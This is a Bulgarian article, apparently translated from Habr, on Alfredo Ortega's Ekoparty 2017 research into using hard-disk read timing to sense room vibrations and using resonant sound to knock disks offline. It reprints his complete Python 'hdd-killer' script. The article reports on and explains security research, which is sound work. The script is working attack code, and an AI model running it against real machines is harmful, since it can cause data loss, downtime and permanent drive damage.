Π—Π°Ρ‰ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΊΡ€Π΅Ρ‰ΠΈΡ‚Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ си диск

Π—Π°Ρ‰ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΊΡ€Π΅Ρ‰ΠΈΡ‚Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ си диск

На конфСрСнцията Π·Π° ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€Π½Π° сигурност Ekoparty 2017 Π² БуСнос АйрСс арТСнтинският Ρ…Π°ΠΊΠ΅Ρ€ АлфрСдо ΠžΡ€Ρ‚Π΅Π³Π° ΠΏΠΎΠΊΠ°Π·Π° ΠΌΠ½ΠΎΠ³ΠΎ интСрСсна Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° – систСма Π·Π° скрито ΠΏΠΎΠ΄ΡΠ»ΡƒΡˆΠ²Π°Π½Π΅ Π½Π° помСщСния Π±Π΅Π· ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½. Π—Π²ΡƒΠΊ записан Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ диск!

HDD улавя основно високоинтСнзивни нискочСстотни Π·Π²ΡƒΡ†ΠΈ, ΡΡ‚ΡŠΠΏΠΊΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ. Π§ΠΎΠ²Π΅ΡˆΠΊΠ°Ρ‚Π° Ρ€Π΅Ρ‡ всС ΠΎΡ‰Π΅ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС Ρ€Π°Π·ΠΏΠΎΠ·Π½Π°Ρ‚Π°, Π²ΡŠΠΏΡ€Π΅ΠΊΠΈ Ρ‡Π΅ ΡƒΡ‡Π΅Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅ΠΆΠ΄Π°Ρ‚ изслСдвания Π² Ρ‚Π°Π·ΠΈ посока (Ρ€Π°Π·ΠΏΠΎΠ·Π½Π°Π²Π°Π½Π΅ Π½Π° Ρ€Π΅Ρ‡ Ρ‡Ρ€Π΅Π· нискочСстотни Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ сС записват Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚ Тироскоп ΠΈΠ»ΠΈ HDD).

Π—Π²ΡƒΠΊΡŠΡ‚ Π΅ вибрацията Π½Π° Π²ΡŠΠ·Π΄ΡƒΡ…Π° ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³Π° срСда. Π§ΠΎΠ²Π΅ΠΊ Π³ΠΈ Π²ΡŠΠ·ΠΏΡ€ΠΈΠ΅ΠΌΠ° Ρ‡Ρ€Π΅Π· Ρ‚ΡŠΠΏΠ°Π½Ρ‡Π΅Ρ‚ΠΎ, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΏΡ€Π΅Π΄Π°Π²Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ½ΠΎΡ‚ΠΎ ΡƒΡ…ΠΎ. ΠœΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ΡŠΡ‚ Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€Π°Π½ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΊΠ°Ρ‚ΠΎ ΡƒΡ…ΠΎ - Ρ‚ΡƒΠΊ ΡΡŠΡ‰ΠΎ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ сС записват ΠΎΡ‚ Ρ‚ΡŠΠ½ΠΊΠ° ΠΌΠ΅ΠΌΠ±Ρ€Π°Π½Π°, която Π²ΡŠΠ·Π±ΡƒΠΆΠ΄Π° СлСктричСски импулс. Π’Π²ΡŠΡ€Π΄ΠΈΡΡ‚ диск, Ρ€Π°Π·Π±ΠΈΡ€Π° сС, ΡΡŠΡ‰ΠΎ Π΅ ΠΎΠ±Π΅ΠΊΡ‚ Π½Π° микроскопични Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, Π΄ΡŠΠ»ΠΆΠ°Ρ‰ΠΈ сС Π½Π° колСбанията Π² околния Π²ΡŠΠ·Π΄ΡƒΡ…. Π’ΠΎΠ²Π° Π΅ извСстно Π΄ΠΎΡ€ΠΈ ΠΎΡ‚ тСхничСскитС характСристики Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ‚Π΅ дисковС: ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ посочват максимално допустимото Π½ΠΈΠ²ΠΎ Π½Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, Π° самият Ρ‚Π²ΡŠΡ€Π΄ диск чСсто сС ΠΎΠΏΠΈΡ‚Π²Π° Π΄Π° Π³ΠΎ постави Π² устойчив Π½Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΈΠ·Ρ€Π°Π±ΠΎΡ‚Π΅Π½ ΠΎΡ‚ Π³ΡƒΠΌΠ° ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ ΠΈΠ·ΠΎΠ»Π°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π». ΠžΡ‚ Ρ‚ΠΎΠ²Π° Π΅ лСсно Π΄Π° сС Π·Π°ΠΊΠ»ΡŽΡ‡ΠΈ, Ρ‡Π΅ Π·Π²ΡƒΡ†ΠΈΡ‚Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС записват с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° HDD. ΠžΡΡ‚Π°Π²Π° само Π΄Π° Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ°ΠΊ.

АлфрСдо ΠžΡ€Ρ‚Π΅Π³Π° ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈ ΡƒΠ½ΠΈΠΊΠ°Π»Π½Π° вСрсия Π½Π° Π°Ρ‚Π°ΠΊΠ° ΠΎΡ‚ страничСн ΠΊΠ°Π½Π°Π», Π° ΠΈΠΌΠ΅Π½Π½ΠΎ Π°Ρ‚Π°ΠΊΠ° във Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ. Π’Π°Π·ΠΈ Π°Ρ‚Π°ΠΊΠ° сС основава Π½Π° ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ, Ρ‡Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Ρ‚ Π½Π° устройството ΠΏΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅, Π² зависимост ΠΎΡ‚ Π΄Π°Π΄Π΅Π½ΠΈΡ‚Π΅ Π²Ρ…ΠΎΠ΄Π½ΠΈ Π΄Π°Π½Π½ΠΈ. Π’ Ρ‚ΠΎΠ·ΠΈ случай β€žΠ²Ρ…ΠΎΠ΄Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈβ€œ са Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° чСтящата Π³Π»Π°Π²Π° ΠΈ ΠΏΠ»ΠΎΡ‡Π°Ρ‚Π° Π½Π° HDD, ΠΊΠΎΠΈΡ‚ΠΎ ΠΊΠΎΡ€Π΅Π»ΠΈΡ€Π°Ρ‚ с Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° ΠΎΠΊΠΎΠ»Π½Π°Ρ‚Π° срСда, тоСст със Π·Π²ΡƒΠΊΠ°. По Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½, Ρ‡Ρ€Π΅Π· ΠΈΠ·ΠΌΠ΅Ρ€Π²Π°Π½Π΅ Π½Π° Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π·Π° изчислСниС ΠΈ ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Π½Π΅ Π½Π° статистичСски Π°Π½Π°Π»ΠΈΠ· Π½Π° Π΄Π°Π½Π½ΠΈΡ‚Π΅, ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Π³Π»Π°Π²Π°Ρ‚Π°/ΠΏΠ»ΠΎΡ‡Π°Ρ‚Π° ΠΈ слСдоватСлно Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° срСдата. ΠšΠΎΠ»ΠΊΠΎΡ‚ΠΎ ΠΏΠΎ-дълго Π΅ забавянСто ΠΏΡ€ΠΈ Ρ‡Π΅Ρ‚Π΅Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, Ρ‚ΠΎΠ»ΠΊΠΎΠ²Π° ΠΏΠΎ-силни са Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ диск ΠΈ слСдоватСлно Π·Π²ΡƒΠΊΡŠΡ‚ Π΅ ΠΏΠΎ-силСн.

Как Π΄Π° ΠΈΠ·ΠΌΠ΅Ρ€ΠΈΠΌ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ диск? Много просто: просто стартирайтС систСмното ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½Π΅ read () β€” ΠΈ Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π° Π·Π°Π²ΡŠΡ€ΡˆΠ²Π°Π½Π΅. Π‘ΡŠΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΈΡ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΈ систСми Π²ΠΈ позволяват Π΄Π° Ρ‡Π΅Ρ‚Π΅Ρ‚Π΅ Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π½Π° систСмнитС повиквания с наносСкунда точност.

Бкоростта Π½Π° Ρ‡Π΅Ρ‚Π΅Π½Π΅ Π½Π° информация ΠΎΡ‚ сСктор зависи ΠΎΡ‚ позицията Π½Π° Π³Π»Π°Π²Π°Ρ‚Π° ΠΈ ΠΏΠ»ΠΎΡ‡Π°Ρ‚Π°, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΊΠΎΡ€Π΅Π»ΠΈΡ€Π° с Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° корпуса Π½Π° HDD. Π’ΠΎΠ²Π° Π΅ всичко.

БтатистичСският Π°Π½Π°Π»ΠΈΠ· сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° проста ΠΏΠΎΠΌΠΎΡ‰Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° Kscope. ΠšΠ°ΠΊΡ‚ΠΎ сС ΠΊΠ°Π·Π²Π°, всичко Π³Π΅Π½ΠΈΠ°Π»Π½ΠΎ Π΅ просто.

Π—Π°Ρ‰ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΊΡ€Π΅Ρ‰ΠΈΡ‚Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ си диск
ΠŸΠΎΠΌΠΎΡ‰Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° Kscope (систСмно ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½Π΅ stat())

Kscope Π΅ ΠΌΠ°Π»ΠΊΠ° ΠΏΠΎΠΌΠΎΡ‰Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° Π·Π° Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° ΠΌΠ°Π»ΠΊΠΈ Ρ€Π°Π·Π»ΠΈΠΊΠΈ във Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π·Π° изпълнСниС Π½Π° систСмни повиквания. Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½ Π² GitHub.

Π’ ΠΎΡ‚Π΄Π΅Π»Π½ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ HDD Π²Ρ€Π΅ΠΌΠ΅ ΠΈΠΌΠ° вСрсия Π½Π° ΠΏΠΎΠΌΠΎΡ‰Π½Π°Ρ‚Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°, ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½Π° Π·Π° Π²Ρ€Π΅ΠΌΠ΅Π²Π° Π°Ρ‚Π°ΠΊΠ° Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ диск, тоСст ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½Π° Π΄Π° Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€Π° систСмното ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½Π΅ read ().

ДСмонстрация Π½Π° запис Π½Π° Π·Π²ΡƒΠΊ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° HDD, Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° ΠΏΠΎΠΌΠΎΡ‰Π½Π°Ρ‚Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° Kscope


Π Π°Π·Π±ΠΈΡ€Π° сС, Ρ€Π΅Ρ‡Ρ‚Π° Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС Ρ€Π°Π·Π±Ρ€Π°Π½Π° ΠΏΠΎ Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½, Π½ΠΎ HDD Π΅ доста подходящ ΠΊΠ°Ρ‚ΠΎ сСнзор Π·Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ. НапримСр, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° рСгистриратС, Π°ΠΊΠΎ Ρ‡ΠΎΠ²Π΅ΠΊ с Ρ‚Π²ΡŠΡ€Π΄ΠΈ ΠΎΠ±ΡƒΠ²ΠΊΠΈ ΠΈΠ»ΠΈ бос Π²Π»Π΅Π·Π΅ Π² стая с ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€ (вСроятно, Π°ΠΊΠΎ нападатСлят носи ΠΌΠ΅ΠΊΠΈ ΠΌΠ°Ρ€Π°Ρ‚ΠΎΠ½ΠΊΠΈ ΠΈΠ»ΠΈ ΠΈΠΌΠ° Π΄Π΅Π±Π΅Π» ΠΊΠΈΠ»ΠΈΠΌ Π½Π° ΠΏΠΎΠ΄Π°, HDD няма Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° рСгистрира Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ - Ρ‚ΠΎΠ²Π° си струва Π΄Π° сС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈ). ΠšΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€ΡŠΡ‚ ΠΌΠΎΠΆΠ΅ Π΄Π° рСгистрира счупСно ΡΡ‚ΡŠΠΊΠ»ΠΎ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ със силСн ΠΈΠ½Ρ‚Π΅Π½Π·ΠΈΡ‚Π΅Ρ‚ Π½Π° Π·Π²ΡƒΠΊΠ°. ВоСст Ρ‚Π²ΡŠΡ€Π΄ΠΈΡΡ‚ диск ΠΌΠΎΠΆΠ΅ Π΄Π° слуТи ΠΊΠ°Ρ‚ΠΎ Π²ΠΈΠ΄ систСма Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° Π½Π΅ΠΎΡ‚ΠΎΡ€ΠΈΠ·ΠΈΡ€Π°Π½ΠΎ ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅.

HDD ΡƒΠ±ΠΈΠ΅Ρ†

ΠœΠ΅ΠΆΠ΄Ρƒ Π΄Ρ€ΡƒΠ³ΠΎΡ‚ΠΎ, ΠΏΠΎΠ΄ΠΎΠ±Π½Π° Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈ дисковС. Π‘Π°ΠΌΠΎ Ρ‚ΡƒΠΊ Π½ΠΈΠ΅ Π½Π΅ ΠΏΡ€Π΅ΠΌΠ°Ρ…Π²Π°ΠΌΠ΅ трСптСнията ΠΎΡ‚ HDD, Π° Π½Π°ΠΏΡ€ΠΎΡ‚ΠΈΠ², Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°ΠΌΠ΅ трСптСния, ΠΊΠΎΠΈΡ‚ΠΎ сС ΠΏΠΎΠ΄Π°Π²Π°Ρ‚ към HDD. Ако Π²ΡŠΠ·ΠΏΡ€ΠΎΠΈΠ·Π²Π΅ΠΆΠ΄Π°Ρ‚Π΅ Π·Π²ΡƒΠΊ ΠΎΡ‚ високоговоритСл Π½Π° чСстота, която Ρ€Π΅Π·ΠΎΠ½ΠΈΡ€Π° с чСстотата Π½Π° HDD, систСмата скоро ΠΈΠ·ΠΊΠ»ΡŽΡ‡Π²Π° устройството с I/O Π³Ρ€Π΅ΡˆΠΊΠ° (ядрото Π½Π° Linux напълно ΠΈΠ·ΠΊΠ»ΡŽΡ‡Π²Π° HDD слСд 120 сСкунди). Бамият Ρ‚Π²ΡŠΡ€Π΄ диск ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡ€Π΅Ρ‚ΡŠΡ€ΠΏΠΈ Π½Π΅ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠΌΠ° ΠΏΠΎΠ²Ρ€Π΅Π΄Π°.

Π—Π°Ρ‰ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΊΡ€Π΅Ρ‰ΠΈΡ‚Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ си диск
Π―Π΄Ρ€ΠΎΡ‚ΠΎ Π½Π° Linux ΠΈΠ·ΠΊΠ»ΡŽΡ‡ΠΈ Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ диск слСд 120 сСкунди ΠΏΠΎΠ΄Π°Π²Π°Π½Π΅ Π½Π° Π·Π²ΡƒΠΊ с рСзонансна чСстота ΠΏΡ€Π΅Π· високоговоритСля Π½Π° USB високоговоритСля Edifier r19u. ВисокоговоритСлят Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π½Π° ΠΎΠΊΠΎΠ»ΠΎ Π΅Π΄Π½Π° Ρ‡Π΅Ρ‚Π²ΡŠΡ€Ρ‚ ΠΎΡ‚ мощността (ΠΏΠΎΠ΄ 100 mW) ΠΈ Π΅ Ρ€Π°Π·ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ Π½Π° 20 см ΠΎΡ‚ HDD, насочСн към масата Π·Π° засилванС Π½Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅. Π Π°ΠΌΠΊΠ° ΠΎΡ‚ Π²ΠΈΠ΄Π΅ΠΎ с дСмонстрация Π½Π° HDD killer

Π›ΡŽΠ±ΠΎΠΏΠΈΡ‚Π½ΠΎ Π΅, Ρ‡Π΅ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ β€žΠ°Ρ‚Π°ΠΊΠΈβ€œ срСщу HDD понякога сС случват напълно случайно Π² Π΅ΠΆΠ΅Π΄Π½Π΅Π²ΠΈΠ΅Ρ‚ΠΎ. НапримСр ΠΏΡ€Π΅Π· сСптСмври 2016 Π³. Ρ†Π΅Π½Ρ‚ΡŠΡ€ΡŠΡ‚ Π·Π° Π΄Π°Π½Π½ΠΈ Π½Π° ING Bank бСшС ΠΏΡ€ΠΈΠ½ΡƒΠ΄Π΅Π½ Π΄Π° спрС дСйността си Π·Π° 10 часа слСд ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠΆΠ°Ρ€Π½ΠΎ ΡƒΡ‡Π΅Π½ΠΈΠ΅. ДСсСтки Ρ‚Π²ΡŠΡ€Π΄ΠΈ дисковС са ΠΏΠΎΠ²Ρ€Π΅Π΄Π΅Π½ΠΈ ΠΏΠΎΡ€Π°Π΄ΠΈ силния Π·Π²ΡƒΠΊ Π½Π° ΠΈΠ½Π΅Ρ€Ρ‚Π΅Π½ Π³Π°Π·, изпускан ΠΎΡ‚ Π±ΡƒΡ‚ΠΈΠ»ΠΊΠΈ ΠΏΠΎΠ΄ високо наляганС. Π—Π²ΡƒΠΊΡŠΡ‚ бСшС ΠΌΠ½ΠΎΠ³ΠΎ силСн (ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ 130 dB), Π½ΠΎ Π΄ΠΎΡ€ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·Π²ΠΈΠΊΠ°Ρ‚Π΅ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈΡ‚Π΅ дисковС - Ρ‚ΠΎΠ²Π° ΡƒΠ²Π΅Π»ΠΈΡ‡Π°Π²Π° забавянСто Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏΠ° Π΄ΠΎ HDD.

ДСмонстрация Π½Π° Ρ‡ΠΎΠ²Π΅ΡˆΠΊΠΈ ΠΏΠΈΡΡŠΡ†ΠΈ Π½Π° Ρ‚Π²ΡŠΡ€Π΄ΠΈ дисковС Π² Ρ†Π΅Π½Ρ‚ΡŠΡ€ Π·Π° Π΄Π°Π½Π½ΠΈ. Π˜Π·ΠΌΠ΅Ρ€Π²Π°Π½Π΅ Π½Π° латСнтност


Π—Π° Π΄Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π° рСзониращия Π·Π²ΡƒΠΊ, АлфрСдо ΠžΡ€Ρ‚Π΅Π³Π° написа скрипт Π½Π° Python, Π½Π°Ρ€Π΅Ρ‡Π΅Π½ hdd-ΡƒΠ±ΠΈΠ΅Ρ† (Π²ΠΈΠ΄Π΅ΠΎ дСмонстрация).

HDD killer скрипт Π’ΠΎΠΉ Π΅ доста малък, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π³ΠΎ ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Ρ‚Π΅ цСлия Ρ‚ΡƒΠΊ.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€